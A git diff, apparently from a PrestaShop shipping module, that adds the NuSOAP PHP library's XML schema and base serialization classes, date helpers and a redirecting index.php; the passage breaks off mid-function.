xmlns:$nsp=\"$ns\""; + } + $xml = $el . ">\n".$xml."\n"; + return $xml; + } + + /** + * adds debug data to the clas level debug string + * + * @param string $string debug data + * @access private + */ + function xdebug($string){ + $this->debug('<' . $this->schemaTargetNamespace . '> '.$string); + } + + /** + * get the PHP type of a user defined type in the schema + * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays + * returns false if no type exists, or not w/ the given namespace + * else returns a string that is either a native php type, or 'struct' + * + * @param string $type name of defined type + * @param string $ns namespace of type + * @return mixed + * @access public + * @deprecated + */ + function getPHPType($type,$ns){ + if(isset($this->typemap[$ns][$type])){ + //print "found type '$type' and ns $ns in typemap
        "; + return $this->typemap[$ns][$type]; + } elseif(isset($this->complexTypes[$type])){ + //print "getting type '$type' and ns $ns from complexTypes array
        "; + return $this->complexTypes[$type]['phpType']; + } + return false; + } + + /** + * returns an associative array of information about a given type + * returns false if no type exists by the given name + * + * For a complexType typeDef = array( + * 'restrictionBase' => '', + * 'phpType' => '', + * 'compositor' => '(sequence|all)', + * 'elements' => array(), // refs to elements array + * 'attrs' => array() // refs to attributes array + * ... and so on (see addComplexType) + * ) + * + * For simpleType or element, the array has different keys. + * + * @param string $type + * @return mixed + * @access public + * @see addComplexType + * @see addSimpleType + * @see addElement + */ + function getTypeDef($type){ + //$this->debug("in getTypeDef for type $type"); + if (substr($type, -1) == '^') { + $is_element = 1; + $type = substr($type, 0, -1); + } else { + $is_element = 0; + } + + if((! $is_element) && isset($this->complexTypes[$type])){ + $this->xdebug("in getTypeDef, found complexType $type"); + return $this->complexTypes[$type]; + } elseif((! $is_element) && isset($this->simpleTypes[$type])){ + $this->xdebug("in getTypeDef, found simpleType $type"); + if (!isset($this->simpleTypes[$type]['phpType'])) { + // get info for type to tack onto the simple type + // TODO: can this ever really apply (i.e. what is a simpleType really?) + $uqType = substr($this->simpleTypes[$type]['type'], strrpos($this->simpleTypes[$type]['type'], ':') + 1); + $ns = substr($this->simpleTypes[$type]['type'], 0, strrpos($this->simpleTypes[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for simpleType $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->simpleTypes[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->simpleTypes[$type]['elements'] = $etype['elements']; + } + } + } + return $this->simpleTypes[$type]; + } elseif(isset($this->elements[$type])){ + $this->xdebug("in getTypeDef, found element $type"); + if (!isset($this->elements[$type]['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($this->elements[$type]['type'], strrpos($this->elements[$type]['type'], ':') + 1); + $ns = substr($this->elements[$type]['type'], 0, strrpos($this->elements[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for element $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->elements[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->elements[$type]['elements'] = $etype['elements']; + } + if (isset($etype['extensionBase'])) { + $this->elements[$type]['extensionBase'] = $etype['extensionBase']; + } + } elseif ($ns == 'http://www.w3.org/2001/XMLSchema') { + $this->xdebug("in getTypeDef, element $type is an XSD type"); + $this->elements[$type]['phpType'] = 'scalar'; + } + } + return $this->elements[$type]; + } elseif(isset($this->attributes[$type])){ + $this->xdebug("in getTypeDef, found attribute $type"); + return $this->attributes[$type]; + } elseif (preg_match('/_ContainedType$/', $type)) { + $this->xdebug("in getTypeDef, have an untyped element $type"); + $typeDef['typeClass'] = 'simpleType'; + $typeDef['phpType'] = 'scalar'; + $typeDef['type'] = 'http://www.w3.org/2001/XMLSchema:string'; + return $typeDef; + } + $this->xdebug("in getTypeDef, did not find $type"); + return false; + } + + /** + * returns a sample serialization of a given type, or false if no type by the given name + * + * @param string $type name of type + * @return mixed + * @access public + * @deprecated + */ + function serializeTypeDef($type){ + //print "in sTD() for type $type
        "; + if($typeDef = $this->getTypeDef($type)){ + $str .= '<'.$type; + if(is_array($typeDef['attrs'])){ + foreach($typeDef['attrs'] as $attName => $data){ + $str .= " $attName=\"{type = ".$data['type']."}\""; + } + } + $str .= " xmlns=\"".$this->schema['targetNamespace']."\""; + if(count($typeDef['elements']) > 0){ + $str .= ">"; + foreach($typeDef['elements'] as $element => $eData){ + $str .= $this->serializeTypeDef($element); + } + $str .= ""; + } elseif($typeDef['typeClass'] == 'element') { + $str .= ">"; + } else { + $str .= "/>"; + } + return $str; + } + return false; + } + + /** + * returns HTML form elements that allow a user + * to enter values for creating an instance of the given type. + * + * @param string $name name for type instance + * @param string $type name of type + * @return string + * @access public + * @deprecated + */ + function typeToForm($name,$type){ + // get typedef + if($typeDef = $this->getTypeDef($type)){ + // if struct + if($typeDef['phpType'] == 'struct'){ + $buffer .= ''; + foreach($typeDef['elements'] as $child => $childDef){ + $buffer .= " + + "; + } + $buffer .= '
        $childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):
        '; + // if array + } elseif($typeDef['phpType'] == 'array'){ + $buffer .= ''; + for($i=0;$i < 3; $i++){ + $buffer .= " + + "; + } + $buffer .= '
        array item (type: $typeDef[arrayType]):
        '; + // if scalar + } else { + $buffer .= ""; + } + } else { + $buffer .= ""; + } + return $buffer; + } + + /** + * adds a complex type to the schema + * + * example: array + * + * addType( + * 'ArrayOfstring', + * 'complexType', + * 'array', + * '', + * 'SOAP-ENC:Array', + * array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'string[]'), + * 'xsd:string' + * ); + * + * example: PHP associative array ( SOAP Struct ) + * + * addType( + * 'SOAPStruct', + * 'complexType', + * 'struct', + * 'all', + * array('myVar'=> array('name'=>'myVar','type'=>'string') + * ); + * + * @param name + * @param typeClass (complexType|simpleType|attribute) + * @param phpType: currently supported are array and struct (php assoc array) + * @param compositor (all|sequence|choice) + * @param restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param elements = array ( name = array(name=>'',type=>'') ) + * @param attrs = array( + * array( + * 'ref' => "http://schemas.xmlsoap.org/soap/encoding/:arrayType", + * "http://schemas.xmlsoap.org/wsdl/:arrayType" => "string[]" + * ) + * ) + * @param arrayType: namespace:name (http://www.w3.org/2001/XMLSchema:string) + * @access public + * @see getTypeDef + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType=''){ + $this->complexTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'compositor'=> $compositor, + 'restrictionBase' => $restrictionBase, + 'elements' => $elements, + 'attrs' => $attrs, + 'arrayType' => $arrayType + ); + + $this->xdebug("addComplexType $name:"); + $this->appendDebug($this->varDump($this->complexTypes[$name])); + } + + /** + * adds a simple type to the schema + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @access public + * @see nusoap_xmlschema + * @see getTypeDef + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $this->simpleTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'type' => $restrictionBase, + 'enumeration' => $enumeration + ); + + $this->xdebug("addSimpleType $name:"); + $this->appendDebug($this->varDump($this->simpleTypes[$name])); + } + + /** + * adds an element to the schema + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + if (! $this->getPrefix($attrs['type'])) { + $attrs['type'] = $this->schemaTargetNamespace . ':' . $attrs['type']; + } + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + + $this->xdebug("addElement " . $attrs['name']); + $this->appendDebug($this->varDump($this->elements[ $attrs['name'] ])); + } +} + +/** + * Backward compatibility + */ +class XMLSchema extends nusoap_xmlschema { +} + + diff --git a/modules/mondialrelay/lib/nusoap/index.php b/modules/mondialrelay/lib/nusoap/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/lib/nusoap/nusoap.php b/modules/mondialrelay/lib/nusoap/nusoap.php new file mode 100755 index 0000000..2a18300 --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/nusoap.php @@ -0,0 +1,8149 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_base { + /** + * Identification for HTTP headers. + * + * @var string + * @access private + */ + var $title = 'NuSOAP'; + /** + * Version for HTTP headers. + * + * @var string + * @access private + */ + var $version = '0.9.5'; + /** + * CVS revision for HTTP headers. + * + * @var string + * @access private + */ + var $revision = '$Revision$'; + /** + * Current error string (manipulated by getError/setError) + * + * @var string + * @access private + */ + var $error_str = ''; + /** + * Current debug string (manipulated by debug/appendDebug/clearDebug/getDebug/getDebugAsXMLComment) + * + * @var string + * @access private + */ + var $debug_str = ''; + /** + * toggles automatic encoding of special characters as entities + * (should always be true, I think) + * + * @var boolean + * @access private + */ + var $charencoding = true; + /** + * the debug level for this instance + * + * @var integer + * @access private + */ + var $debugLevel; + + /** + * set schema version + * + * @var string + * @access public + */ + var $XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema'; + + /** + * charset encoding for outgoing messages + * + * @var string + * @access public + */ + var $soap_defencoding = 'ISO-8859-1'; + //var $soap_defencoding = 'UTF-8'; + + /** + * namespaces in an array of prefix => uri + * + * this is "seeded" by a set of constants, but it may be altered by code + * + * @var array + * @access public + */ + var $namespaces = array( + 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xsd' => 'http://www.w3.org/2001/XMLSchema', + 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' + ); + + /** + * namespaces used in the current context, e.g. during serialization + * + * @var array + * @access private + */ + var $usedNamespaces = array(); + + /** + * XML Schema types in an array of uri => (array of xml type => php type) + * is this legacy yet? + * no, this is used by the nusoap_xmlschema class to verify type => namespace mappings. + * @var array + * @access public + */ + var $typemap = array( + 'http://www.w3.org/2001/XMLSchema' => array( + 'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double', + 'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'', + 'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string', + // abstract "any" types + 'anyType'=>'string','anySimpleType'=>'string', + // derived datatypes + 'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'', + 'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer', + 'negativeInteger'=>'integer','long'=>'integer','int'=>'integer','short'=>'integer','byte'=>'integer','nonNegativeInteger'=>'integer', + 'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''), + 'http://www.w3.org/2000/10/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://www.w3.org/1999/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'), + 'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array'), + 'http://xml.apache.org/xml-soap' => array('Map') + ); + + /** + * XML entities to convert + * + * @var array + * @access public + * @deprecated + * @see expandEntities + */ + var $xmlEntities = array('quot' => '"','amp' => '&', + 'lt' => '<','gt' => '>','apos' => "'"); + + /** + * constructor + * + * @access public + */ + function nusoap_base() { + $this->debugLevel = $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * gets the global debug level, which applies to future instances + * + * @return integer Debug level 0-9, where 0 turns off + * @access public + */ + function getGlobalDebugLevel() { + return $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * sets the global debug level, which applies to future instances + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setGlobalDebugLevel($level) { + $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel'] = $level; + } + + /** + * gets the debug level for this instance + * + * @return int Debug level 0-9, where 0 turns off + * @access public + */ + function getDebugLevel() { + return $this->debugLevel; + } + + /** + * sets the debug level for this instance + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setDebugLevel($level) { + $this->debugLevel = $level; + } + + /** + * adds debug data to the instance debug string with formatting + * + * @param string $string debug data + * @access private + */ + function debug($string){ + if ($this->debugLevel > 0) { + $this->appendDebug($this->getmicrotime().' '.get_class($this).": $string\n"); + } + } + + /** + * adds debug data to the instance debug string without formatting + * + * @param string $string debug data + * @access public + */ + function appendDebug($string){ + if ($this->debugLevel > 0) { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str .= $string; + } + } + + /** + * clears the current debug data for this instance + * + * @access public + */ + function clearDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str = ''; + } + + /** + * gets the current debug data for this instance + * + * @return debug data + * @access public + */ + function &getDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + return $this->debug_str; + } + + /** + * gets the current debug data for this instance as an XML comment + * this may change the contents of the debug data + * + * @return debug data as an XML comment + * @access public + */ + function &getDebugAsXMLComment() { + // it would be nice to use a memory stream here to use + // memory more efficiently + while (strpos($this->debug_str, '--')) { + $this->debug_str = str_replace('--', '- -', $this->debug_str); + } + $ret = ""; + return $ret; + } + + /** + * expands entities, e.g. changes '<' to '<'. + * + * @param string $val The string in which to expand entities. + * @access private + */ + function expandEntities($val) { + if ($this->charencoding) { + $val = str_replace('&', '&', $val); + $val = str_replace("'", ''', $val); + $val = str_replace('"', '"', $val); + $val = str_replace('<', '<', $val); + $val = str_replace('>', '>', $val); + } + return $val; + } + + /** + * returns error string if present + * + * @return mixed error string or false + * @access public + */ + function getError(){ + if($this->error_str != ''){ + return $this->error_str; + } + return false; + } + + /** + * sets error string + * + * @return boolean $string error string + * @access private + */ + function setError($str){ + $this->error_str = $str; + } + + /** + * detect if array is a simple array or a struct (associative array) + * + * @param mixed $val The PHP array + * @return string (arraySimple|arrayStruct) + * @access private + */ + function isArraySimpleOrStruct($val) { + $keyList = array_keys($val); + foreach ($keyList as $keyListValue) { + if (!is_int($keyListValue)) { + return 'arrayStruct'; + } + } + return 'arraySimple'; + } + + /** + * serializes PHP values in accordance w/ section 5. Type information is + * not serialized if $use == 'literal'. + * + * @param mixed $val The value to serialize + * @param string $name The name (local part) of the XML element + * @param string $type The XML schema type (local part) for the element + * @param string $name_ns The namespace for the name of the XML element + * @param string $type_ns The namespace for the type of the element + * @param array $attributes The attributes to serialize as name=>value pairs + * @param string $use The WSDL "use" (encoded|literal) + * @param boolean $soapval Whether this is called from soapval. + * @return string The serialized element, possibly with child elements + * @access public + */ + function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false,$use='encoded',$soapval=false) { + $this->debug("in serialize_val: name=$name, type=$type, name_ns=$name_ns, type_ns=$type_ns, use=$use, soapval=$soapval"); + $this->appendDebug('value=' . $this->varDump($val)); + $this->appendDebug('attributes=' . $this->varDump($attributes)); + + if (is_object($val) && get_class($val) == 'soapval' && (! $soapval)) { + $this->debug("serialize_val: serialize soapval"); + $xml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + $this->debug("serialize_val of soapval returning $xml"); + return $xml; + } + // force valid name if necessary + if (is_numeric($name)) { + $name = '__numeric_' . $name; + } elseif (! $name) { + $name = 'noname'; + } + // if name has ns, add ns prefix to name + $xmlns = ''; + if($name_ns){ + $prefix = 'nu'.rand(1000,9999); + $name = $prefix.':'.$name; + $xmlns .= " xmlns:$prefix=\"$name_ns\""; + } + // if type is prefixed, create type prefix + if($type_ns != '' && $type_ns == $this->namespaces['xsd']){ + // need to fix this. shouldn't default to xsd if no ns specified + // w/o checking against typemap + $type_prefix = 'xsd'; + } elseif($type_ns){ + $type_prefix = 'ns'.rand(1000,9999); + $xmlns .= " xmlns:$type_prefix=\"$type_ns\""; + } + // serialize attributes if present + $atts = ''; + if($attributes){ + foreach($attributes as $k => $v){ + $atts .= " $k=\"".$this->expandEntities($v).'"'; + } + } + // serialize null value + if (is_null($val)) { + $this->debug("serialize_val: serialize null"); + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$xmlns$atts/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + $xml = "<$name$xmlns$type_str$atts xsi:nil=\"true\"/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // serialize if an xsd built-in primitive type + if($type != '' && isset($this->typemap[$this->XMLSchemaVersion][$type])){ + $this->debug("serialize_val: serialize xsd built-in primitive type"); + if (is_bool($val)) { + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + } else if (is_string($val)) { + $val = $this->expandEntities($val); + } + if ($use == 'literal') { + $xml = "<$name$xmlns$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + $xml = "<$name$xmlns xsi:type=\"xsd:$type\"$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // detect type and serialize + $xml = ''; + switch(true) { + case (is_bool($val) || $type == 'boolean'): + $this->debug("serialize_val: serialize boolean"); + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:boolean\"$atts>$val"; + } + break; + case (is_int($val) || is_long($val) || $type == 'int'): + $this->debug("serialize_val: serialize int"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:int\"$atts>$val"; + } + break; + case (is_float($val)|| is_double($val) || $type == 'float'): + $this->debug("serialize_val: serialize float"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:float\"$atts>$val"; + } + break; + case (is_string($val) || $type == 'string'): + $this->debug("serialize_val: serialize string"); + $val = $this->expandEntities($val); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:string\"$atts>$val"; + } + break; + case is_object($val): + $this->debug("serialize_val: serialize object"); + if (get_class($val) == 'soapval') { + $this->debug("serialize_val: serialize soapval object"); + $pXml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + } else { + if (! $name) { + $name = get_class($val); + $this->debug("In serialize_val, used class name $name as element name"); + } else { + $this->debug("In serialize_val, do not override name $name for element name for class " . get_class($val)); + } + foreach(get_object_vars($val) as $k => $v){ + $pXml = isset($pXml) ? $pXml.$this->serialize_val($v,$k,false,false,false,false,$use) : $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$pXml"; + } else { + $xml .= "<$name$xmlns$type_str$atts>$pXml"; + } + break; + break; + case (is_array($val) || $type): + // detect if struct or array + $valueType = $this->isArraySimpleOrStruct($val); + if($valueType=='arraySimple' || preg_match('/^ArrayOf/',$type)){ + $this->debug("serialize_val: serialize array"); + $i = 0; + if(is_array($val) && count($val)> 0){ + foreach($val as $v){ + if(is_object($v) && get_class($v) == 'soapval'){ + $tt_ns = $v->type_ns; + $tt = $v->type; + } elseif (is_array($v)) { + $tt = $this->isArraySimpleOrStruct($v); + } else { + $tt = gettype($v); + } + $array_types[$tt] = 1; + // TODO: for literal, the name should be $name + $xml .= $this->serialize_val($v,'item',false,false,false,false,$use); + ++$i; + } + if(count($array_types) > 1){ + $array_typename = 'xsd:anyType'; + } elseif(isset($tt) && isset($this->typemap[$this->XMLSchemaVersion][$tt])) { + if ($tt == 'integer') { + $tt = 'int'; + } + $array_typename = 'xsd:'.$tt; + } elseif(isset($tt) && $tt == 'arraySimple'){ + $array_typename = 'SOAP-ENC:Array'; + } elseif(isset($tt) && $tt == 'arrayStruct'){ + $array_typename = 'unnamed_struct_use_soapval'; + } else { + // if type is prefixed, create type prefix + if ($tt_ns != '' && $tt_ns == $this->namespaces['xsd']){ + $array_typename = 'xsd:' . $tt; + } elseif ($tt_ns) { + $tt_prefix = 'ns' . rand(1000, 9999); + $array_typename = "$tt_prefix:$tt"; + $xmlns .= " xmlns:$tt_prefix=\"$tt_ns\""; + } else { + $array_typename = $tt; + } + } + $array_type = $i; + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\""; + } + // empty array + } else { + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"xsd:anyType[0]\""; + } + } + // TODO: for array in literal, there is no wrapper here + $xml = "<$name$xmlns$type_str$atts>".$xml.""; + } else { + // got a struct + $this->debug("serialize_val: serialize struct"); + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>"; + } else { + $xml .= "<$name$xmlns$type_str$atts>"; + } + foreach($val as $k => $v){ + // Apache Map + if ($type == 'Map' && $type_ns == 'http://xml.apache.org/xml-soap') { + $xml .= ''; + $xml .= $this->serialize_val($k,'key',false,false,false,false,$use); + $xml .= $this->serialize_val($v,'value',false,false,false,false,$use); + $xml .= ''; + } else { + $xml .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + $xml .= ""; + } + break; + default: + $this->debug("serialize_val: serialize unknown"); + $xml .= 'not detected, got '.gettype($val).' for '.$val; + break; + } + $this->debug("serialize_val returning $xml"); + return $xml; + } + + /** + * serializes a message + * + * @param string $body the XML of the SOAP body + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param array $namespaces optional the namespaces used in generating the body and headers + * @param string $style optional (rpc|document) + * @param string $use optional (encoded|literal) + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @return string the message + * @access public + */ + function serializeEnvelope($body,$headers=false,$namespaces=array(),$style='rpc',$use='encoded',$encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'){ + // TODO: add an option to automatically run utf8_encode on $body and $headers + // if $this->soap_defencoding is UTF-8. Not doing this automatically allows + // one to send arbitrary UTF-8 characters, not just characters that map to ISO-8859-1 + + $this->debug("In serializeEnvelope length=" . strlen($body) . " body (max 1000 characters)=" . substr($body, 0, 1000) . " style=$style use=$use encodingStyle=$encodingStyle"); + $this->debug("headers:"); + $this->appendDebug($this->varDump($headers)); + $this->debug("namespaces:"); + $this->appendDebug($this->varDump($namespaces)); + + // serialize namespaces + $ns_string = ''; + foreach(array_merge($this->namespaces,$namespaces) as $k => $v){ + $ns_string .= " xmlns:$k=\"$v\""; + } + if($encodingStyle) { + $ns_string = " SOAP-ENV:encodingStyle=\"$encodingStyle\"$ns_string"; + } + + // serialize headers + if($headers){ + if (is_array($headers)) { + $xml = ''; + foreach ($headers as $k => $v) { + if (is_object($v) && get_class($v) == 'soapval') { + $xml .= $this->serialize_val($v, false, false, false, false, false, $use); + } else { + $xml .= $this->serialize_val($v, $k, false, false, false, false, $use); + } + } + $headers = $xml; + $this->debug("In serializeEnvelope, serialized array of headers to $headers"); + } + $headers = "".$headers.""; + } + // serialize envelope + return + 'soap_defencoding .'"?'.">". + '". + $headers. + "". + $body. + "". + ""; + } + + /** + * formats a string to be inserted into an HTML stream + * + * @param string $str The string to format + * @return string The formatted string + * @access public + * @deprecated + */ + function formatDump($str){ + $str = htmlspecialchars($str); + return nl2br($str); + } + + /** + * contracts (changes namespace to prefix) a qualified name + * + * @param string $qname qname + * @return string contracted qname + * @access private + */ + function contractQname($qname){ + // get element namespace + //$this->xdebug("Contract $qname"); + if (strrpos($qname, ':')) { + // get unqualified name + $name = substr($qname, strrpos($qname, ':') + 1); + // get ns + $ns = substr($qname, 0, strrpos($qname, ':')); + $p = $this->getPrefixFromNamespace($ns); + if ($p) { + return $p . ':' . $name; + } + return $qname; + } else { + return $qname; + } + } + + /** + * expands (changes prefix to namespace) a qualified name + * + * @param string $qname qname + * @return string expanded qname + * @access private + */ + function expandQname($qname){ + // get element prefix + if(strpos($qname,':') && !preg_match('/^http:\/\//',$qname)){ + // get unqualified name + $name = substr(strstr($qname,':'),1); + // get ns prefix + $prefix = substr($qname,0,strpos($qname,':')); + if(isset($this->namespaces[$prefix])){ + return $this->namespaces[$prefix].':'.$name; + } else { + return $qname; + } + } else { + return $qname; + } + } + + /** + * returns the local part of a prefixed string + * returns the original string, if not prefixed + * + * @param string $str The prefixed string + * @return string The local part + * @access public + */ + function getLocalPart($str){ + if($sstr = strrchr($str,':')){ + // get unqualified name + return substr( $sstr, 1 ); + } else { + return $str; + } + } + + /** + * returns the prefix part of a prefixed string + * returns false, if not prefixed + * + * @param string $str The prefixed string + * @return mixed The prefix or false if there is no prefix + * @access public + */ + function getPrefix($str){ + if($pos = strrpos($str,':')){ + // get prefix + return substr($str,0,$pos); + } + return false; + } + + /** + * pass it a prefix, it returns a namespace + * + * @param string $prefix The prefix + * @return mixed The namespace, false if no namespace has the specified prefix + * @access public + */ + function getNamespaceFromPrefix($prefix){ + if (isset($this->namespaces[$prefix])) { + return $this->namespaces[$prefix]; + } + //$this->setError("No namespace registered for prefix '$prefix'"); + return false; + } + + /** + * returns the prefix for a given namespace (or prefix) + * or false if no prefixes registered for the given namespace + * + * @param string $ns The namespace + * @return mixed The prefix, false if the namespace has no prefixes + * @access public + */ + function getPrefixFromNamespace($ns) { + foreach ($this->namespaces as $p => $n) { + if ($ns == $n || $ns == $p) { + $this->usedNamespaces[$p] = $n; + return $p; + } + } + return false; + } + + /** + * returns the time in ODBC canonical form with microseconds + * + * @return string The time in ODBC canonical form with microseconds + * @access public + */ + function getmicrotime() { + if (function_exists('gettimeofday')) { + $tod = gettimeofday(); + $sec = $tod['sec']; + $usec = $tod['usec']; + } else { + $sec = time(); + $usec = 0; + } + return strftime('%Y-%m-%d %H:%M:%S', $sec) . '.' . sprintf('%06d', $usec); + } + + /** + * Returns a string with the output of var_dump + * + * @param mixed $data The variable to var_dump + * @return string The output of var_dump + * @access public + */ + function varDump($data) { + ob_start(); + var_dump($data); + $ret_val = ob_get_contents(); + ob_end_clean(); + return $ret_val; + } + + /** + * represents the object as a string + * + * @return string + * @access public + */ + function __toString() { + return $this->varDump($this); + } +} + +// XML Schema Datatype Helper Functions + +//xsd:dateTime helpers + +/** +* convert unix timestamp to ISO 8601 compliant date string +* +* @param int $timestamp Unix time stamp +* @param boolean $utc Whether the time stamp is UTC or local +* @return mixed ISO 8601 date string or false +* @access public +*/ +function timestamp_to_iso8601($timestamp,$utc=true){ + $datestr = date('Y-m-d\TH:i:sO',$timestamp); + $pos = strrpos($datestr, "+"); + if ($pos === FALSE) { + $pos = strrpos($datestr, "-"); + } + if ($pos !== FALSE) { + if (strlen($datestr) == $pos + 5) { + $datestr = substr($datestr, 0, $pos + 3) . ':' . substr($datestr, -2); + } + } + if($utc){ + $pattern = '/'. + '([0-9]{4})-'. // centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]*)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + + if(preg_match($pattern,$datestr,$regs)){ + return sprintf('%04d-%02d-%02dT%02d:%02d:%02dZ',$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]); + } + return false; + } else { + return $datestr; + } +} + +/** +* convert ISO 8601 compliant date string to unix timestamp +* +* @param string $datestr ISO 8601 compliant date string +* @return mixed Unix timestamp (int) or false +* @access public +*/ +function iso8601_to_timestamp($datestr){ + $pattern = '/'. + '([0-9]{4})-'. 